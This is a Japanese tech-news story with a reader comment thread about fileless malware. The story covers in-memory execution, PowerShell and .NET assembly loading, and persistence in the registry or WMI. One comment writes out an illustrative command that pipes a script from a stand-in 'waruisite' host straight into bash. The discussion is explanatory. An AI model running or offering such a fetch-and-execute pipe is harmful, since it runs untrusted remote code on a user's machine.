不正なコードをファイルに書き込むことなく実行するマルウェアが増加傾向 27
ストーリー by hylom
高度化する手法 部門より
高度化する手法 部門より
不正なコードをファイルに書き込むことなしに実行するようなマルウェアが近年増加傾向にあるという。こうしたマルウェアはその痕跡がファイルとしては残らないため、既存のセキュリティソフトでは検出が難しいそうだ(ITmedia)。
こういった攻撃手法は「ファイルレス攻撃」などと呼ばれており、プログラムの脆弱性を悪用して不正なコードを直接メモリ内に展開させて実行させたり、攻撃対象内にインストールされているPowerShellなどのツールを悪用することでその活動が検出されることを防ぐという。また、一時的にファイルを書き込むも、その後そのファイルを削除する、もしくはその内容を0で上書きするような挙動を行うのもあるという(McAfeeの「ファイルレス攻撃解説」ホワイトペーパー)。
PowerShellがよく悪用されるのは、メモリ上にダウンロードしたコードを直接実行する仕組みがサポートされているからだそうだ。また、多くの場合システムが再起動されるとこれらマルウェアは活動が止まるが、レジストリやファイルシステム以外のストレージを活用することで持続的に攻撃を行うものもあるという。なお、PowerShellが攻撃に悪用される可能性については以前より指摘されていた(ITmediaの2017年記事)。
エ〇 (スコア:3)
痕跡が残らないので安心だな。
Re:エ〇 (スコア:1)
つ[揮発性ストレージ]
あれ?記事にアイコンがないぞ (スコア:1)
セキュリティセクションに分類されて然るべき記事だと思うが
メモリ上にダウンロードしたコードを直接実行 (スコア:0)
どういうことですかね?
bash -c "echo foo" みたいな話?
Re:メモリ上にダウンロードしたコードを直接実行 (スコア:1)
PowerShellというより.NETの機能として、メモリ上の.NETモジュールのバイナリをロードできるので、それのことかな。
本体のマルウェアをネットワークからダウンロードしてメモリ上に展開し、.NETランタイムにロードすることで、
ディスクに書き込まずに悪意あるプログラムを実行できる。
PowerShellは.NETランタイムで動作しているので、読み込まれたモジュールを直接呼び出せる。
リンクされているMcFeeのホワイトペーパーによれば、
「検知にファイルベースのアプローチをするほとんどのセキュリティソリューションは動作監視をしていたとしてもファイルレス攻撃を検知できない」
とある。
Re:メモリ上にダウンロードしたコードを直接実行 (スコア:1)
これ System.Reflection.Assembly.LoadModule() [microsoft.com] ですね。.NETではバイト配列からアセンブリを読み込めるんですね。
とはいえ、本体のダウンロード、読み込みを行うPowerShellスクリプトは必要になるので、検出するのはさほど難しくない気はしますが。
PowerShellは難読化しやすいとも書いてあるけど、うーん、どうかな。
Re: (スコア:0)
マルウェアかどうか判定するのは簡単かな?
すべて公開APIで可能な処理だし、「外部URLからダウンロードしたアセンブリを読み込むプログラム」というだけでマルウェア扱いはできない気がする。
ダウンロード先のURLで判断するくらいだが、URLなんていくらでもばらけさせられるし、
white paperにはこれを複数段階かませてるって書いてあるし、結構手ごわいのでは。
Re: (スコア:0)
>ダウンロード先のURLで判断するくらいだが
ホワイトリストで対応するしかないでしょうね。
開発者くらいでしょう、リストに追加する必要が生じるのは。
Re: (スコア:0)
.NETの機能に限らず、対話的にスクリプトを実行できる機能が提供されていれば、
ダウンロードしたデータがテキストかバイナリかの違いはあれど、
実現はできそうなきがする(Windows上で高機能な環境として
Powershellが選ばれているってだけで)
# 昔、話題になった遠隔操作と何が違うのだろう?
Re: (スコア:0)
Invoke-Expression(略して iex)というコマンドがあります。
chocolateyというhomebrew
のパクりの出来損ないのようなユーティリティのインストールでも使われておりhttps://chocolatey.org/install [chocolatey.org]
何となくニュアンスはつかめると思いますが、ネットからDLしたスクリプトをそのまま実行出来てしまうという
凶悪な機能です。
狂ってる。
# WIndows/Microsoftにあまり関わらない人生を送れててよかった...w
Re: (スコア:0)
むしろその程度もできないモダンなOSって存在するの?
Re: (スコア:0)
Re: (スコア:0)
意味がわからん。具体的にどのOSのどのセキュリティ機構について言及してる?
Re: (スコア:0)
ふつーにできるっていうか、*nixではその狂気がむしろ推奨されてることも有るよね?
PowerShellのは一般的に推奨されてる感は全く無いけれど(そもそも手打ちさせることが少ない)、
「無暗号化httpにcurlした結果をbashにパイプするコマンドを推奨インストール手順にする」
とかいう狂ったやり方は割と最近の*nuxで一般的な文化となっている印象なんだけど………?
一般的じゃないけど出来なくもない、よりも、
一般的な文化となっている、方が明らかにやばい。
Re:メモリ上にダウンロードしたコードを直接実行 (スコア:1)
PowerShellなんてデフォルトじゃスクリプトの実行すら許されてない。
Re: (スコア:0)
むしろこんな凶悪な機能をブロックする程度のセキュリティとか
テラバイト級のメモリの対応とか
モバイルOSとの連携とか
「モダンOS」の最低限の要件だと思うんだ。
Windowsは…すっかりレガシーに成り下がってしまって…
今週のオメーが言うなツリーはここですか? (スコア:1)
お、そうだな [qiita.com]
# 散々問題視されてきた筈なのに未だにこんなTipsが世に出てくるザマでよく言えるな……
## 問題視だけで脆弱性扱いにならない理由は省略。そしてそれはbashでもPSでも共通である。
Re: (スコア:0)
> テラバイト級のメモリの対応とか
さらりとMac Proをdisってて草。さてはオメーAppleアンチだな。
Macでもようやく1T超のメモリを扱う環境が出て来たが(金さえ積めば)
Linux/Winに比べてMacはX年遅れなんだよな。。ハードウェアの縛りのキツいエコシステムだから仕方ないが。。
Re: (スコア:0)
Invoke-ExpressionなんてPowerShell上のコマンド実行できる前提の危険性アピールなんか意味ないだろ。evalとか知らないの?
そんなん使わなくてもpowershel.exeから直接PowerShellコマンドを送れる。
そもそもマルウェアに実行権限握られてる時点でアウトだよ。PowerShellはマルウェアにとっても便利なツールってだけ。
Re: (スコア:0)
>そもそもマルウェアに実行権限握られてる時点でアウトだよ
これなんだよなぁ
怪しいプログラムを実行してる時点で負け確
Re: (スコア:0)
Invoke-Expression自体はネットからダウンロードしてないやんけ!
Install-Packageをディスったほうがいいんじゃないでしょうか。
Re: (スコア:0)
curl -s http://waruisite.example.com/ [example.com] | bash -s の方が近そう。
Re: (スコア:0)
ホワイトペーパーの下記の部分が気になりますね。
> 不正なコードを、OSやコモン ユーティリティに関係する
> 一般的でない場所、例えばWindows レジストリ、WMIスト
> ア、SQLテーブル、タスクスケジューラーなどに埋め込む
例えばLAN内のマシンA,Bに穴があって仕込みが可能として、
マシンBのレジストリに難読化したデータを仕込んで、
マシンAの Enter-PSSession とかでマシンBのレジストリから
読み込んで実行しちゃうとか。
Re: (スコア:0)
ある意味、ブラウザと同じ。必要なスクリプトやアセットを、いったんローカルに保存しなくてもいいでしょ(キャッシュしたりはするけど)。
旧来のマルウェアは、いったんローカルディスクに保存して、それをロードするような設計のものが意外に多かった。
だから、virustotal に投げてみよう、なんてことも、捕まえてしまえば簡単だった。
Re: (スコア:0)
https://japan.zdnet.com/article/35139643/ [zdnet.com]
Re: (スコア:0)
実はUnicodeは犯罪 [togetter.com]みたいな話だったりして。
PEとかELFとかに詳しくなると (スコア:0)
どうやってるか分かるかもね、OSの仮想メモリの扱い方とかの知識も必要だね、OSは奥が深いね